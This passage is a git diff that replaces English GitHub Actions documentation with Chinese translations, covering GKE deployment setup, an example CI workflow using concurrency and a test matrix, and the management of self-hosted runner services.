--zone=$GKE_ZONE ``` {% endraw %} -### Enabling the APIs +### 启用 API -Enable the Kubernetes Engine and Container Registry APIs. For example: +启用 Kubernetes Engine 和 Container Registry API。 例如: {% raw %} ```bash{:copy} $ gcloud services enable \ - containerregistry.googleapis.com \ - container.googleapis.com + containerregistry.googleapis.com \ + container.googleapis.com ``` {% endraw %} -### Configuring a service account and storing its credentials +### 配置服务帐户并存储其凭据 -This procedure demonstrates how to create the service account for your GKE integration. It explains how to create the account, add roles to it, retrieve its keys, and store them as a base64-encoded encrypted repository secret named `GKE_SA_KEY`. +此程序显示如何为您的 GKE 集成创建服务帐户。 它说明了如何创建帐户、向其添加角色、检索其密钥,以及将它们存储为名为 `GKE_SA_KEY` 以 base64 编码的加密存储库机密。 -1. Create a new service account: - {% raw %} +1. 创建新服务帐户:{% raw %} ``` $ gcloud iam service-accounts create $SA_NAME ``` {% endraw %} -1. Retrieve the email address of the service account you just created: - {% raw %} +1. 检索你刚刚创建的服务帐户的电子邮件地址:{% raw %} ``` $ gcloud iam service-accounts list ``` {% endraw %} -1. Add roles to the service account. Note: Apply more restrictive roles to suit your requirements. +1. 向服务帐户添加角色。 注意:应用限制更严格的角色以满足您的要求。 {% raw %} ``` $ gcloud projects add-iam-policy-binding $GKE_PROJECT \ - --member=serviceAccount:$SA_EMAIL \ - --role=roles/container.admin + --member=serviceAccount:$SA_EMAIL \ + --role=roles/container.admin $ gcloud projects add-iam-policy-binding $GKE_PROJECT \ - --member=serviceAccount:$SA_EMAIL \ - --role=roles/storage.admin + --member=serviceAccount:$SA_EMAIL \ + --role=roles/storage.admin $ gcloud projects add-iam-policy-binding $GKE_PROJECT \ - --member=serviceAccount:$SA_EMAIL \ - --role=roles/container.clusterViewer + --member=serviceAccount:$SA_EMAIL \ + --role=roles/container.clusterViewer ``` {% endraw %} -1. Download the JSON keyfile for the service account: - {% raw %} +1. 下载服务帐户的 JSON 密钥文件:{% raw %} ``` $ gcloud iam service-accounts keys create key.json --iam-account=$SA_EMAIL ``` {% endraw %} -1. Store the service account key as a secret named `GKE_SA_KEY`: - {% raw %} +1. 将服务帐户密钥存储为名为 `GKE_SA_KEY` 的机密:{% raw %} ``` $ export GKE_SA_KEY=$(cat key.json | base64) ``` - {% endraw %} - For more information about how to store a secret, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)." + {% endraw %} 有关如何存储机密的详细信息,请参阅“[加密机密](/actions/security-guides/encrypted-secrets)”。 -### Storing your project name +### 存储项目名称 -Store the name of your project as a secret named `GKE_PROJECT`. For more information about how to store a secret, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)." +将项目的名称存储为名为 `GKE_PROJECT` 的机密。 有关如何存储机密的详细信息,请参阅“[加密机密](/actions/security-guides/encrypted-secrets)”。 -### (Optional) Configuring kustomize -Kustomize is an optional tool used for managing YAML specs. After creating a `kustomization` file, the workflow below can be used to dynamically set fields of the image and pipe in the result to `kubectl`. For more information, see [kustomize usage](https://github.com/kubernetes-sigs/kustomize#usage). +### (可选)配置 kustomize +Kustomize 是用于管理 YAML 规范的可选工具。 在创建 `kustomization` 文件之后, 下面的工作流可用于将结果中的图像和管道字段动态设置为 `kubectl`。 有关详细信息,请参阅 [Kustomize 用法](https://github.com/kubernetes-sigs/kustomize#usage)。 -### (Optional) Configure a deployment environment +### (可选)配置部署环境 {% data reusables.actions.about-environments %} -## Creating the workflow +## 创建工作流程 -Once you've completed the prerequisites, you can proceed with creating the workflow. +完成先决条件后,可以继续创建工作流程。 -The following example workflow demonstrates how to build a container image and push it to GCR. It then uses the Kubernetes tools (such as `kubectl` and `kustomize`) to pull the image into the cluster deployment. +下面的示例工作流程演示如何生成容器映像并推送到 GCR。 然后,它使用 Kubernetes 工具(如 `kubectl` 和 `kustomize`)将映像拉取入群集部署。 -Under the `env` key, change the value of `GKE_CLUSTER` to the name of your cluster, `GKE_ZONE` to your cluster zone, `DEPLOYMENT_NAME` to the name of your deployment, and `IMAGE` to the name of your image. +在 `env` 密钥下,将值 `GKE_CLUSTER` 更改为群集的名称,将 `GKE_ZONE` 更改为群集区域,将 `DEPLOYMENT_NAME` 更改为部署的名称以及将 `IMAGE` 更改为映像的名称。 {% data reusables.actions.delete-env-key %} @@ -210,11 +209,11 @@ jobs: kubectl get services -o wide ``` -## Additional resources +## 其他资源 -For more information on the tools used in these examples, see the following documentation: +有关这些示例中使用的工具的详细信息,请参阅以下文档: -* For the full starter workflow, see the ["Build and Deploy to GKE" workflow](https://github.com/actions/starter-workflows/blob/main/deployments/google.yml). -* For more starter workflows and accompanying code, see Google's [{% data variables.product.prodname_actions %} example workflows](https://github.com/google-github-actions/setup-gcloud/tree/master/example-workflows/). -* The Kubernetes YAML customization engine: [Kustomize](https://kustomize.io/). -* "[Deploying a containerized web application](https://cloud.google.com/kubernetes-engine/docs/tutorials/hello-app)" in the Google Kubernetes Engine documentation. +* 有关完整的初学者工作流,请参阅[“生成并部署到 GKE”工作流](https://github.com/actions/starter-workflows/blob/main/deployments/google.yml)。 +* 有关更多初学者工作流和随附的代码,请参阅 Google 的 [{% data variables.product.prodname_actions %} 示例工作流](https://github.com/google-github-actions/setup-gcloud/tree/master/example-workflows/)。 +* Kubernetes YAML 自定义引擎:[Kustomize](https://kustomize.io/)。 +* Google Kubernetes Engine 文档中的“[部署容器化 Web 应用程序](https://cloud.google.com/kubernetes-engine/docs/tutorials/hello-app)”。 diff --git a/translations/zh-CN/content/actions/examples/using-concurrency-expressions-and-a-test-matrix.md b/translations/zh-CN/content/actions/examples/using-concurrency-expressions-and-a-test-matrix.md index 3a4f73c6f2..7e236f7aeb 100644 --- a/translations/zh-CN/content/actions/examples/using-concurrency-expressions-and-a-test-matrix.md +++ b/translations/zh-CN/content/actions/examples/using-concurrency-expressions-and-a-test-matrix.md @@ -1,7 +1,7 @@ --- -title: 'Using concurrency, expressions, and a test matrix' -shortTitle: 'Use concurrency, expressions, and a test matrix' -intro: 'How to use advanced {% data variables.product.prodname_actions %} features for continuous integration (CI).' +title: 使用并发、表达式和测试矩阵 +shortTitle: 'Using concurrency, expressions, and a test matrix' +intro: '如何使用高级 {% data variables.product.prodname_actions %} 功能进行持续集成 (CI)。' versions: fpt: '*' ghes: '>= 3.5' @@ -10,40 +10,34 @@ versions: type: how_to topics: - Workflows +ms.openlocfilehash: f4edac59fdbcc8f8825a51e25b737b94b17128b0 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147496578' --- - {% data reusables.actions.enterprise-github-hosted-runners %} -## Example overview +## 示例概述 -{% data reusables.actions.example-workflow-intro-ci %} When this workflow is triggered, it tests your code using a matrix of test combinations with `npm test`. +{% data reusables.actions.example-workflow-intro-ci %}触发此工作流时,它将使用 `npm test` 的测试组合矩阵来测试代码。 {% data reusables.actions.example-diagram-intro %} -![Overview diagram of workflow steps](/assets/images/help/images/overview-actions-using-concurrency-expressions-and-a-test-matrix.png) +![工作流步骤概述图](/assets/images/help/images/overview-actions-using-concurrency-expressions-and-a-test-matrix.png) -## Features used in this example +## 此示例中使用的功能 {% data reusables.actions.example-table-intro %} -| **Feature** | **Implementation** | +| **功能** | **实现** | | --- | --- | -{% data reusables.actions.workflow-dispatch-table-entry %} -{% data reusables.actions.pull-request-table-entry %} -{% data reusables.actions.cron-table-entry %} -{% data reusables.actions.permissions-table-entry %} -{% data reusables.actions.concurrency-table-entry %} -| Running the job on different runners, depending on the repository: | [`runs-on`](/actions/using-jobs/choosing-the-runner-for-a-job)| -{% data reusables.actions.if-conditions-table-entry %} -| Using a matrix to create different test configurations: | [`matrix`](/actions/using-jobs/using-a-build-matrix-for-your-jobs)| -{% data reusables.actions.checkout-action-table-entry %} -{% data reusables.actions.setup-node-table-entry %} -| Caching dependencies: | [`actions/cache`](/actions/advanced-guides/caching-dependencies-to-speed-up-workflows)| -| Running tests on the runner: | `npm test`| +{% data reusables.actions.workflow-dispatch-table-entry %} {% data reusables.actions.pull-request-table-entry %} {% data reusables.actions.cron-table-entry %} {% data reusables.actions.permissions-table-entry %} {% data reusables.actions.concurrency-table-entry %} | 根据存储库的不同,在不同的运行器上运行作业: | [`runs-on`](/actions/using-jobs/choosing-the-runner-for-a-job)| {% data reusables.actions.if-conditions-table-entry %} | 使用矩阵创建不同的测试配置: | [`matrix`](/actions/using-jobs/using-a-build-matrix-for-your-jobs)| {% data reusables.actions.checkout-action-table-entry %} {% data reusables.actions.setup-node-table-entry %} | 缓存依赖项:| [`actions/cache`](/actions/advanced-guides/caching-dependencies-to-speed-up-workflows)| | 在运行器上运行测试:| `npm test`| -## Example workflow +## 示例工作流 -{% data reusables.actions.example-docs-engineering-intro %} [`test.yml`](https://github.com/github/docs/blob/main/.github/workflows/test.yml). +{% data reusables.actions.example-docs-engineering-intro %} [`test.yml`](https://github.com/github/docs/blob/main/.github/workflows/test.yml)。 {% data reusables.actions.note-understanding-example %} @@ -112,7 +106,7 @@ jobs: # NOT clone them initially and instead, include them manually # only for the test groups that we know need the files. lfs: {% raw %}${{ matrix.test-group == 'content' }}{% endraw %} - # Enables cloning the Early Access repo later with the relevant {% data variables.product.pat_generic %} + # Enables cloning the Early Access repo later with the relevant PAT persist-credentials: 'false' - name: Figure out which docs-early-access branch to checkout, if internal repo @@ -211,15 +205,15 @@ jobs: -## Understanding the example +## 了解示例 - {% data reusables.actions.example-explanation-table-intro %} + {% data reusables.actions.example-explanation-table-intro %} - - + + @@ -244,7 +238,7 @@ on: @@ -256,7 +250,7 @@ The `on` keyword lets you define the events that trigger when the workflow is ru @@ -268,7 +262,7 @@ Add the `workflow_dispatch` event if you want to be able to manually run this wo @@ -282,7 +276,7 @@ Add the `pull_request` event, so that the workflow runs automatically every time @@ -296,7 +290,7 @@ permissions: @@ -310,7 +304,7 @@ concurrency: @@ -322,7 +316,7 @@ Creates a concurrency group for specific events, and uses the `||` operator to d @@ -334,7 +328,7 @@ jobs: @@ -346,7 +340,7 @@ Groups together all the jobs that run in the workflow file. @@ -358,7 +352,7 @@ Defines a job with the ID `test` that is stored within the `jobs` key. @@ -370,7 +364,7 @@ Configures the job to run on a {% data variables.product.prodname_dotcom %}-host @@ -381,7 +375,7 @@ Sets the maximum number of minutes to let the job run before it is automatically ``` @@ -393,7 +387,7 @@ Sets the maximum number of minutes to let the job run before it is automatically @@ -416,7 +410,7 @@ Setting `fail-fast` to `false` prevents {% data variables.product.prodname_dotco @@ -428,7 +422,7 @@ Creates a matrix named `test-group`, with an array of test groups. These values @@ -444,7 +438,7 @@ Groups together all the steps that will run as part of the `test` job. Each job @@ -484,7 +478,7 @@ The `uses` keyword tells the job to retrieve the action named `actions/checkout` @@ -503,7 +497,7 @@ If the current repository is the `github/docs-internal` repository, this step us @@ -533,7 +527,7 @@ If the current repository is the `github/docs-internal` repository, this step us @@ -552,7 +546,7 @@ This step runs a command to check out LFS objects from the repository. @@ -566,7 +560,7 @@ This step uses the `trilom/file-changes-action` action to gather the files chang @@ -582,7 +576,7 @@ This step runs a shell command that uses an output from the previous step to cre @@ -595,7 +589,7 @@ This step uses the `actions/setup-node` action to install the specified version @@ -611,7 +605,7 @@ This step runs the `npm ci` shell command to install the npm software packages f @@ -624,7 +618,7 @@ This step uses the `actions/cache` action to cache the Next.js build, so that th @@ -640,12 +634,12 @@ This step runs the build script.
CodeExplanation代码解释
-The `on` keyword lets you define the events that trigger when the workflow is run. You can define multiple events here. For more information, see "[Triggering a workflow](/actions/using-workflows/triggering-a-workflow#using-events-to-trigger-workflows)." +通过 `on` 关键字,可以定义运行工作流时触发的事件。 可在此处定义多个事件。 有关详细信息,请参阅“[触发工作流](/actions/using-workflows/triggering-a-workflow#using-events-to-trigger-workflows)”。
-Add the `workflow_dispatch` event if you want to be able to manually run this workflow in the UI. For more information, see [`workflow_dispatch`](/actions/reference/events-that-trigger-workflows#workflow_dispatch). +如果要在 UI 中手动运行此工作流,请添加 `workflow_dispatch` 事件。 有关详细信息,请参阅 [`workflow_dispatch`](/actions/reference/events-that-trigger-workflows#workflow_dispatch)。
-Add the `pull_request` event, so that the workflow runs automatically every time a pull request is created or updated. For more information, see [`pull_request`](/actions/using-workflows/events-that-trigger-workflows#pull_request). +添加 `pull_request` 事件,以便每次创建或更新拉取请求时,工作流都会自动运行。 有关详细信息,请参阅 [`pull_request`](/actions/using-workflows/events-that-trigger-workflows#pull_request)。
-Add the `push` event, so that the workflow runs automatically every time a commit is pushed to a branch matching the filter `main`. For more information, see [`push`](/actions/using-workflows/events-that-trigger-workflows#push). +添加 `push` 事件,以便每次将提交推送到匹配筛选器 `main` 的分支时,工作流都会自动运行。 有关详细信息,请参阅 [`push`](/actions/using-workflows/events-that-trigger-workflows#push)。
-Modifies the default permissions granted to `GITHUB_TOKEN`. This will vary depending on the needs of your workflow. For more information, see "[Assigning permissions to jobs](/actions/using-jobs/assigning-permissions-to-jobs)." +修改授予 `GITHUB_TOKEN` 的默认权限。 这将因工作流的需求而异。 有关详细信息,请参阅“[为作业分配权限](/actions/using-jobs/assigning-permissions-to-jobs)”。
-Creates a concurrency group for specific events, and uses the `||` operator to define fallback values. For more information, see "[Using concurrency](/actions/using-jobs/using-concurrency)." +为特定事件创建并发组,并使用 `||` 运算符定义回退值。 有关详细信息,请参阅“[使用并发](/actions/using-jobs/using-concurrency)”。
-Cancels any currently running job or workflow in the same concurrency group. +取消同一并发组中任何当前正在运行的作业或工作流。
-Groups together all the jobs that run in the workflow file. +将工作流文件中运行的所有作业组合在一起。
-Defines a job with the ID `test` that is stored within the `jobs` key. +定义 ID 为 `test` 的作业,该作业存储在 `jobs` 键中。
-Configures the job to run on a {% data variables.product.prodname_dotcom %}-hosted runner or a self-hosted runner, depending on the repository running the workflow. In this example, the job will run on a self-hosted runner if the repository is named `docs-internal` and is within the `github` organization. If the repository doesn't match this path, then it will run on an `ubuntu-latest` runner hosted by {% data variables.product.prodname_dotcom %}. For more information on these options see "[Choosing the runner for a job](/actions/using-jobs/choosing-the-runner-for-a-job)." +根据运行工作流的存储库,将作业配置为在 {% data variables.product.prodname_dotcom %} 托管的运行器或自托管运行器上运行。 在此示例中,如果存储库名为 `docs-internal` 且位于 `github` 组织内,则作业将在自托管运行器上运行。 如果存储库与此路径不匹配,则其会在由 {% data variables.product.prodname_dotcom %} 托管的 `ubuntu-latest` 运行器上运行。 有关这些选项的详细信息,请参阅“[为作业选择运行器](/actions/using-jobs/choosing-the-runner-for-a-job)”。
-Sets the maximum number of minutes to let the job run before it is automatically canceled. For more information, see [`timeout-minutes`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idtimeout-minutes). +设置作业在自动取消之前运行的最大分钟数。 有关详细信息,请参阅 [`timeout-minutes`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idtimeout-minutes)。
- This section defines the build matrix for your jobs. + 本部分定义作业的生成矩阵。
-Setting `fail-fast` to `false` prevents {% data variables.product.prodname_dotcom %} from cancelling all in-progress jobs if any matrix job fails. +将 `fail-fast` 设置为 `false` 可以防止 {% data variables.product.prodname_dotcom %} 在矩阵作业失败时取消所有正在进行的作业。
-Creates a matrix named `test-group`, with an array of test groups. These values match the names of test groups that will be run by `npm test`. +创建名为 `test-group` 的矩阵,其中包含测试组数组。 这些值与将由 `npm test` 运行的测试组的名称匹配。
-Groups together all the steps that will run as part of the `test` job. Each job in a workflow has its own `steps` section. +将作为 `test` 作业一部分运行的所有步骤组合在一起。 工作流中的每个作业都有其自己的 `steps` 部分。
-The `uses` keyword tells the job to retrieve the action named `actions/checkout`. This is an action that checks out your repository and downloads it to the runner, allowing you to run actions against your code (such as testing tools). You must use the checkout action any time your workflow will run against the repository's code or you are using an action defined in the repository. Some extra options are provided to the action using the `with` key. +`uses` 关键字指示作业检索名为 `actions/checkout` 的操作。 这是检出仓库并将其下载到运行器的操作,允许针对您的代码运行操作(例如测试工具)。 只要工作流程针对仓库的代码运行,或者您使用仓库中定义的操作,您都必须使用检出操作。 使用 `with` 键为操作提供了一些额外的选项。
-If the current repository is the `github/docs-internal` repository, this step uses the `actions/github-script` action to run a script to check if there is a branch called `docs-early-access`. +如果当前存储库是 `github/docs-internal` 存储库,此步骤将使用 `actions/github-script` 操作运行脚本,检查是否存在名为 `docs-early-access` 的分支。
-If the current repository is the `github/docs-internal` repository, this step checks out the branch from the `github/docs-early-access` that was identified in the previous step. +如果当前存储库是 `github/docs-internal` 存储库,此步骤将从上一步中标识的 `github/docs-early-access` 签出分支。
@@ -520,7 +514,7 @@ If the current repository is the `github/docs-internal` repository, this step ch -If the current repository is the `github/docs-internal` repository, this step uses the `run` keyword to execute shell commands to move the `docs-early-access` repository's folders into the main repository's folders. +如果当前存储库是 `github/docs-internal` 存储库,则此步骤将使用 `run` 关键字执行 shell 命令,将 `docs-early-access` 存储库的文件夹移动到主存储库的文件夹中。
-This step runs a command to check out LFS objects from the repository. +此步骤运行一个命令,从存储库签出 LFS 对象。
-This step uses the `trilom/file-changes-action` action to gather the files changed in the pull request, so they can be analyzed in the next step. This example is pinned to a specific version of the action, using the `a6ca26c14274c33b15e6499323aac178af06ad4b` SHA. +此步骤使用 `trilom/file-changes-action` 操作收集拉取请求中更改的文件,以便在下一步中分析它们。 此示例使用 `a6ca26c14274c33b15e6499323aac178af06ad4b` SHA 固定到操作的特定版本。
-This step runs a shell command that uses an output from the previous step to create a file containing the list of files changed in the pull request. +此步骤运行 shell 命令,该命令使用上一步的输出创建文件,其中包含在拉取请求中更改的文件列表。
-This step uses the `actions/setup-node` action to install the specified version of the `node` software package on the runner, which gives you access to the `npm` command. +此步骤使用 `actions/setup-node` 操作在运行器上安装指定版本的 `node` 软件包,以便你可访问 `npm` 命令。
-This step runs the `npm ci` shell command to install the npm software packages for the project. +此步骤运行 `npm ci` shell 命令来安装项目的 npm 软件包。
-This step uses the `actions/cache` action to cache the Next.js build, so that the workflow will attempt to retrieve a cache of the build, and not rebuild it from scratch every time. For more information, see "[Caching dependencies to speed up workflows](/actions/using-workflows/caching-dependencies-to-speed-up-workflows)." +此步骤使用 `actions/cache` 操作来缓存 Next.js 生成,以便工作流将尝试检索生成的缓存,而不是每次都从头重新生成它。 有关详细信息,请参阅“[缓存依赖项以加快工作流](/actions/using-workflows/caching-dependencies-to-speed-up-workflows)”。
-This step runs the build script. +此步骤运行生成脚本。
-This step runs the tests using `npm test`, and the test matrix provides a different value for {% raw %}`${{ matrix.test-group }}`{% endraw %} for each job in the matrix. It uses the `DIFF_FILE` environment variable to know which files have changed, and uses the `CHANGELOG_CACHE_FILE_PATH` environment variable for the changelog cache file. +此步骤使用 `npm test` 运行测试,测试矩阵为矩阵中的每个作业提供不同的 {% raw %}`${{ matrix.test-group }}`{% endraw %} 值。 它使用 `DIFF_FILE` 环境变量来识别已更改的文件,并将 `CHANGELOG_CACHE_FILE_PATH` 环境变量用于 changelog 缓存文件。
-## Next steps +## 后续步骤 {% data reusables.actions.learning-actions %} diff --git a/translations/zh-CN/content/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service.md b/translations/zh-CN/content/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service.md index 56644b21be..9b6d345c5b 100644 --- a/translations/zh-CN/content/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service.md +++ b/translations/zh-CN/content/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service.md @@ -1,7 +1,6 @@ --- -title: Configuring the self-hosted runner application as a service -shortTitle: Run the runner app as a service -intro: You can configure the self-hosted runner application as a service to automatically start the runner application when the machine starts. +title: 将自托管的运行应用程序配置为服务 +intro: 您可以将自托管的运行器应用程序配置为服务,以在机器启动时自动启动运行器应用程序。 redirect_from: - /actions/automating-your-workflow-with-github-actions/configuring-the-self-hosted-runner-application-as-a-service versions: @@ -11,31 +10,24 @@ versions: ghec: '*' type: tutorial defaultPlatform: linux +shortTitle: Run runner app on startup +ms.openlocfilehash: de50bfe5caa8072bf5262c65a4fa471bff3c2106 +ms.sourcegitcommit: 399f27841ff88f14a3880d351c282db85182ac25 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: '147092924' --- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.enterprise-beta %} -{% data reusables.actions.enterprise-github-hosted-runners %} +{% capture service_first_step %}1. 如果自托管运行器应用程序当前正在运行,请停止该应用程序。{% endcapture %} {% capture service_non_windows_intro_shell %}在运行器计算机上,在安装了自托管运行器应用程序的目录中打开 shell。 使用以下命令安装和管理自托管运行器服务。{% endcapture %} {% capture service_nonwindows_intro %}必须先将运行器添加到 {% data variables.product.product_name %},然后才能将自托管运行器应用程序配置为服务。 有关详细信息,请参阅“[添加自托管运行器](/github/automating-your-workflow-with-github-actions/adding-self-hosted-runners)”。{% endcapture %} {% capture service_win_name %}actions.runner.*{% endcapture %} -{% capture service_first_step %}1. Stop the self-hosted runner application if it is currently running.{% endcapture %} -{% capture service_non_windows_intro_shell %}On the runner machine, open a shell in the directory where you installed the self-hosted runner application. Use the commands below to install and manage the self-hosted runner service.{% endcapture %} - -{% capture service_nonwindows_intro %} - -{% note %} - -**Note:** You must add a runner to {% data variables.product.product_name %} before you can configure the self-hosted runner application as a service. -For more information, see "[Adding self-hosted runners](/github/automating-your-workflow-with-github-actions/adding-self-hosted-runners)." - -{% endnote %} -{% endcapture %} - -{% capture service_win_name %}actions.runner.*{% endcapture %} {% linux %} {{ service_nonwindows_intro }} -For Linux systems that use `systemd`, you can use the `svc.sh` script that is created after successfully adding the runner to install and manage using the application as a service. +对于使用 `systemd` 的 Linux 系统,你可使用随自托管运行器应用程序分发的 `svc.sh` 脚本,将应用程序作为服务进行安装和管理。 {{ service_non_windows_intro_shell }} @@ -45,13 +37,13 @@ For Linux systems that use `systemd`, you can use the `svc.sh` script that is cr {% note %} -**Note:** Configuring the self-hosted runner application as a service on Windows is part of the application configuration process. If you have already configured the self-hosted runner application but did not choose to configure it as a service, you must remove the runner from {% data variables.product.prodname_dotcom %} and re-configure the application. When you re-configure the application, choose the option to configure the application as a service. +注意:在 Windows 上将自托管运行器应用程序配置为服务是应用程序配置过程的一部分。 如果已配置自托管运行器应用程序,但没有选择将其配置为服务,则必须从 {% data variables.product.prodname_dotcom %} 中删除运行器并重新配置应用程序。 当您重新配置应用程序时,选择将应用程序配置为服务的选项。 -For more information, see "[Removing self-hosted runners](/actions/automating-your-workflow-with-github-actions/removing-self-hosted-runners)" and "[Adding self-hosted runners](/actions/automating-your-workflow-with-github-actions/adding-self-hosted-runners)." +有关详细信息,请参阅“[删除自托管运行器](/actions/automating-your-workflow-with-github-actions/removing-self-hosted-runners)”和“[添加自托管运行器](/actions/automating-your-workflow-with-github-actions/adding-self-hosted-runners)”。 {% endnote %} -You can manage the runner service in the Windows **Services** application, or you can use PowerShell to run the commands below. +可以在 Windows Services 应用程序中管理运行器服务,也可以使用 PowerShell 来运行下面的命令。 {% endwindows %} @@ -65,113 +57,105 @@ You can manage the runner service in the Windows **Services** application, or yo {% linux %} -## Installing the service +## 安装服务 {{ service_first_step }} -1. Install the service with the following command: +1. 使用以下命令安装服务: ```shell sudo ./svc.sh install ``` -1. Alternatively, the command takes an optional `user` argument to install the service as a different user. +1. 或者,该命令采用可选的 `user` 参数,以其他用户的身份安装服务。 ```shell - ./svc.sh install USERNAME + ./svc.sh install USERNAME ``` {% endlinux %} {% mac %} -## Installing the service +## 安装服务 {{ service_first_step }} -1. Install the service with the following command: +1. 使用以下命令安装服务: ```shell ./svc.sh install ``` {% endmac %} -## Starting the service +## 启动服务 -Start the service with the following command: +使用以下命令启动服务: {% linux %} ```shell sudo ./svc.sh start ``` -{% endlinux %} -{% windows %} +{% endlinux %} {% windows %} ```shell Start-Service "{{ service_win_name }}" ``` -{% endwindows %} -{% mac %} +{% endwindows %} {% mac %} ```shell ./svc.sh start ``` {% endmac %} -## Checking the status of the service +## 检查服务状态 -Check the status of the service with the following command: +使用以下命令检查服务状态: {% linux %} ```shell sudo ./svc.sh status ``` -{% endlinux %} -{% windows %} +{% endlinux %} {% windows %} ```shell Get-Service "{{ service_win_name }}" ``` -{% endwindows %} -{% mac %} +{% endwindows %} {% mac %} ```shell ./svc.sh status ``` {% endmac %} - For more information on viewing the status of your self-hosted runner, see "[Monitoring and troubleshooting self-hosted runners](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners)." + 有关查看自托管运行器状态的更多信息,请参阅“[对自托管运行器进行监视和故障排除](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners)”。 -## Stopping the service +## 停止服务 -Stop the service with the following command: +使用以下命令停止服务: {% linux %} ```shell sudo ./svc.sh stop ``` -{% endlinux %} -{% windows %} +{% endlinux %} {% windows %} ```shell Stop-Service "{{ service_win_name }}" ``` -{% endwindows %} -{% mac %} +{% endwindows %} {% mac %} ```shell ./svc.sh stop ``` {% endmac %} -## Uninstalling the service +## 卸载服务 -1. Stop the service if it is currently running. -1. Uninstall the service with the following command: +1. 停止正在运行的服务。 +1. 使用以下命令卸载服务: {% linux %} ```shell sudo ./svc.sh uninstall ``` - {% endlinux %} - {% windows %} + {% endlinux %} {% windows %} ```shell Remove-Service "{{ service_win_name }}" ``` - {% endwindows %} - {% mac %} + {% endwindows %} {% mac %} ```shell ./svc.sh uninstall ``` @@ -180,16 +164,16 @@ Stop-Service "{{ service_win_name }}" {% linux %} -## Customizing the self-hosted runner service +## 自定义自托管运行器服务 -If you don't want to use the above default `systemd` service configuration, you can create a customized service or use whichever service mechanism you prefer. Consider using the `serviced` template at `actions-runner/bin/actions.runner.service.template` as a reference. If you use a customized service, the self-hosted runner service must always be invoked using the `runsvc.sh` entry point. +如果你不想使用上述默认 `systemd` 服务配置,可创建自定义服务或使用喜欢的服务机制。 请考虑使用 `actions-runner/bin/actions.runner.service.template` 中的 `serviced` 模板作为参考。 如果使用自定义服务,必须始终使用 `runsvc.sh` 入口点来调用自托管运行器服务。 {% endlinux %} {% mac %} -## Customizing the self-hosted runner service +## 自定义自托管运行器服务 -If you don't want to use the above default launchd service configuration, you can create a customized service or use whichever service mechanism you prefer. Consider using the `plist` template at `actions-runner/bin/actions.runner.plist.template` as a reference. If you use a customized service, the self-hosted runner service must always be invoked using the `runsvc.sh` entry point. +如果您不想使用上述默认 launchd 服务配置,您可以创建自定义服务或使用您喜欢的服务机制。 请考虑使用 `actions-runner/bin/actions.runner.plist.template` 中的 `plist` 模板作为参考。 如果使用自定义服务,必须始终使用 `runsvc.sh` 入口点来调用自托管运行器服务。 {% endmac %} diff --git a/translations/zh-CN/content/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners.md b/translations/zh-CN/content/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners.md index 0e597853c7..6ea4e15cbd 100644 --- a/translations/zh-CN/content/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners.md +++ b/translations/zh-CN/content/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners.md @@ -1,6 +1,6 @@ --- -title: Monitoring and troubleshooting self-hosted runners -intro: You can monitor your self-hosted runners to view their activity and diagnose common issues. +title: 对自托管运行程序进行监视和故障排除 +intro: 您可以监控自托管运行器,查看它们的活动并诊断常见问题。 redirect_from: - /actions/hosting-your-own-runners/checking-the-status-of-self-hosted-runners - /github/automating-your-workflow-with-github-actions/checking-the-status-of-self-hosted-runners @@ -11,119 +11,117 @@ versions: ghae: '*' ghec: '*' type: tutorial -miniTocMaxHeadingLevel: 3 defaultPlatform: linux shortTitle: Monitor & troubleshoot +ms.openlocfilehash: 57ca9cad51c1936171fcadd73497cf313dd86dd7 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147065632' --- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.enterprise-beta %} -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Checking the status of a self-hosted runner +## 检查自托管运行器的状态 {% data reusables.actions.self-hosted-runner-management-permissions-required %} -{% data reusables.actions.self-hosted-runner-navigate-repo-and-org %} -{% data reusables.organizations.settings-sidebar-actions-runners %} -1. Under "Runners", you can view a list of registered runners, including the runner's name, labels, and status. +{% data reusables.actions.self-hosted-runner-navigate-repo-and-org %} {% data reusables.organizations.settings-sidebar-actions-runners %} +1. 在“运行器”下,可以查看已注册运行器的列表,包括运行器的名称、标签和状态。 - The status can be one of the following: + 状态可以是下列其中一项: - * **Idle**: The runner is connected to {% data variables.product.product_name %} and is ready to execute jobs. - * **Active**: The runner is currently executing a job. - * **Offline**: The runner is not connected to {% data variables.product.product_name %}. This could be because the machine is offline, the self-hosted runner application is not running on the machine, or the self-hosted runner application cannot communicate with {% data variables.product.product_name %}. + * 空闲:运行器已连接到 {% data variables.product.product_name %},并已准备好执行作业。 + * 活动:运行器当前正在执行作业。 + * 脱机:运行器未连接到 {% data variables.product.product_name %}。 这可能是因为机器处于离线状态,自托管运行器应用程序未在机器上运行,或者自托管运行器应用程序无法与 {% data variables.product.product_name %} 通信。 -## Troubleshooting network connectivity +## 网络连接疑难解答 -### Checking self-hosted runner network connectivity +### 检查自托管运行器网络连接 -You can use the self-hosted runner application's `run` script with the `--check` parameter to check that a self-hosted runner can access all required network services on {% data variables.location.product_location %}. +可以结合使用自托管运行器应用程序的 `run` 脚本与 `--check` 